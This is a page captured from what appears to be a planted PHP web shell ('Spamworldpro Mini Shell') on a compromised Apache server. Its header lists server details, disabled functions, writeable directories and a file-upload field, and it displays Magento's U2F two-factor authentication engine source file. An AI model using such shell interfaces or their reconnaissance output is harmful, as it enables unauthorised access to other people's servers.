Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/old/vendor/magento/module-two-factor-auth/Model/Provider/Engine/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/old/vendor/magento/module-two-factor-auth/Model/Provider/Engine/U2fKey.php
<?php
/**
 * Copyright © Magento, Inc. All rights reserved.
 * See COPYING.txt for license details.
 */
declare(strict_types=1);

namespace Magento\TwoFactorAuth\Model\Provider\Engine;

use Magento\Framework\DataObject;
use Magento\Framework\Exception\LocalizedException;
use Magento\Framework\Exception\NoSuchEntityException;
use Magento\Store\Model\StoreManagerInterface;
use Magento\TwoFactorAuth\Model\Provider\Engine\U2fKey\WebAuthn;
use Magento\User\Api\Data\UserInterface;
use Magento\TwoFactorAuth\Api\UserConfigManagerInterface;
use Magento\TwoFactorAuth\Api\EngineInterface;

/**
 * UbiKey engine
 */
class U2fKey implements EngineInterface
{
    /**
     * The config path for the domain to use when issuing challenged from the web api
     */
    const XML_PATH_WEBAPI_DOMAIN = 'twofactorauth/u2fkey/webapi_challenge_domain';

    /**
     * Engine code
     *
     * Must be the same as defined in di.xml
     */
    public const CODE = 'u2fkey';

    /**
     * @var UserConfigManagerInterface
     */
    private $userConfigManager;

    /**
     * @var StoreManagerInterface
     */
    private $storeManager;

    /**
     * @var WebAuthn
     */
    private $webAuthn;

    /**
     * @param StoreManagerInterface $storeManager
     * @param UserConfigManagerInterface $userConfigManager
     * @param WebAuthn $webAuthn
     */
    public function __construct(
        StoreManagerInterface $storeManager,
        UserConfigManagerInterface $userConfigManager,
        WebAuthn $webAuthn
    ) {
        $this->userConfigManager = $userConfigManager;
        $this->storeManager = $storeManager;
        $this->webAuthn = $webAuthn;
    }

    /**
     * @inheritDoc
     */
    public function verify(UserInterface $user, DataObject $request): bool
    {
        $registration = $this->getRegistration($user);
        if ($registration === null) {
            throw new LocalizedException(__('Missing registration data'));
        }

        $this->webAuthn->assertCredentialDataIsValid(
            $request->getData('publicKeyCredential'),
            $registration['public_keys'],
            $request->getData('originalChallenge')
        );

        return true;
    }

    /**
     * Create the registration challenge
     *
     * @param UserInterface $user
     * @return array
     * @throws LocalizedException
     */
    public function getRegisterData(UserInterface $user): array
    {
        return $this->webAuthn->getRegisterData($user);
    }

    /**
     * Get authenticate data
     *
     * @param UserInterface $user
     * @return array
     * @throws LocalizedException
     */
    public function getAuthenticateData(UserInterface $user): array
    {
        return $this->webAuthn->getAuthenticateData($this->getRegistration($user)['public_keys']);
    }

    /**
     * Get registration information
     *
     * @param UserInterface $user
     * @return array
     * @throws NoSuchEntityException
     */
    private function getRegistration(UserInterface $user): array
    {
        $providerConfig = $this->userConfigManager->getProviderConfig((int) $user->getId(), static::CODE);

        if (!isset($providerConfig['registration'])) {
            return null;
        }

        return $providerConfig['registration'];
    }

    /**
     * Register a new key
     *
     * @param UserInterface $user
     * @param array $data
     * @throws NoSuchEntityException
     * @throws \Magento\Framework\Validation\ValidationException
     */
    public function registerDevice(UserInterface $user, array $data): void
    {
        $publicKey = $this->webAuthn->getPublicKeyFromRegistrationData($data);

        $this->userConfigManager->addProviderConfig((int) $user->getId(), static::CODE, [
            'registration' => [
                'public_keys' => [$publicKey]
            ]
        ]);
        $this->userConfigManager->activateProviderConfiguration((int) $user->getId(), static::CODE);
    }

    /**
     * @inheritDoc
     */
    public function isEnabled(): bool
    {
        return true;
    }
}

Spamworldpro Mini